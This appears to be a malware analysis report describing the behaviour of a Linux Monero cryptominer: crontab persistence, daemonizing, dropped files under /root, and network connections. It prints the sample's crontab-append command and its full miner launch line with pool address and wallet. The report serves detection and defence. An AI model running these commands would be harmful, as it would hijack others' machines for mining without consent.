Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/crontab
Malicious functions:
Launches itself as a daemon
Launches processes:
- /bin/bash -c echo '0 */12 * * * * root <SAMPLE_FULL_PATH>' >> /etc/crontab
- /bin/bash -c ./xxsdwak<SAMPLE> -B -o stratum+tcp://xmr.ip28.net:443 -u 45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT -p x -k
- ./xxsdwak<SAMPLE> -B -o stratum+tcp://xmr.ip28.net:443 -u 45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT -p x -k
Performs operations with the file system:
Creates or modifies files:
- /root/xxszznk
- /root/xxsdwak<SAMPLE>
- /root/.cnrig.cacert.pem
Network activity:
Establishes connection:
- 16#.##2.205.136:443
- 15#.##1.84.133:443
DNS ASK:
- xm#.#p28.net
- ra#.####ubusercontent.com
Sends data to the following servers:
- 16#.##2.205.136:443
- 15#.##1.84.133:443
Receives data from the following servers:
- 16#.##2.205.136:443
- 15#.##1.84.133:443
Other:
Collects RAM information